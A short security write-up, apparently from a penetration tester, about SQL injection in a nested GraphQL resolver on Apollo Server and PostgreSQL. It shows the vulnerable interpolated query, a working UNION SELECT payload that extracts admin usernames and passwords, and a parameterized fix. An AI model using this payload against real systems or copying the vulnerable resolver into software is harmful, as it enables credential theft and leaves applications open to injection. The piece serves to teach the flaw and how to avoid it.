While GraphQL has shifted the paradigm of API development, it hasn't eliminated traditional vulnerabilities. In fact, the complexity of resolving nested queries often obscures underlying SQL injection flaws, especially when developers rely on custom resolvers instead of robust ORMs.

The Vulnerability Context

During a recent engagement, I encountered a GraphQL endpoint managing user profiles. The application used Apollo Server and PostgreSQL. While top-level queries were properly parameterized, a specific nested resolver for filtering user activity logs was vulnerable.

const resolvers = {
  User: {
    activityLogs: async (parent, args, context) => {
      // VULNERABLE: Direct string interpolation of the 'filter' argument
      const query = `
        SELECT * FROM logs 
        WHERE user_id = ${parent.id} 
        AND action_type = '${args.filter}'
      `;
      
      const result = await db.query(query);
      return result.rows;
    }
  }
};

Exploitation Vector

The vulnerability lies in the args.filter parameter. Because GraphQL allows deeply nested queries, we can trigger this resolver while requesting a user's profile. The payload needs to break out of the single quotes and inject a UNION SELECT to extract data from other tables.

query {
  user(id: 1) {
    name
    email
    activityLogs(filter: "login' UNION SELECT 1, username, password, 4 FROM admin_users--") {
      id
      action_type
      timestamp
    }
  }
}

This payload successfully extracted the admin credentials, mapping them to the action_type and timestamp fields defined in the GraphQL schema for the ActivityLog.

Remediation

The fix is straightforward: always use parameterized queries or a trusted query builder/ORM, even within nested resolvers.

const resolvers = {
  User: {
    activityLogs: async (parent, args, context) => {
      // SECURE: Using parameterized queries
      const query = 'SELECT * FROM logs WHERE user_id = $1 AND action_type = $2';
      const values = [parent.id, args.filter];
      
      const result = await db.query(query, values);
      return result.rows;
    }
  }
};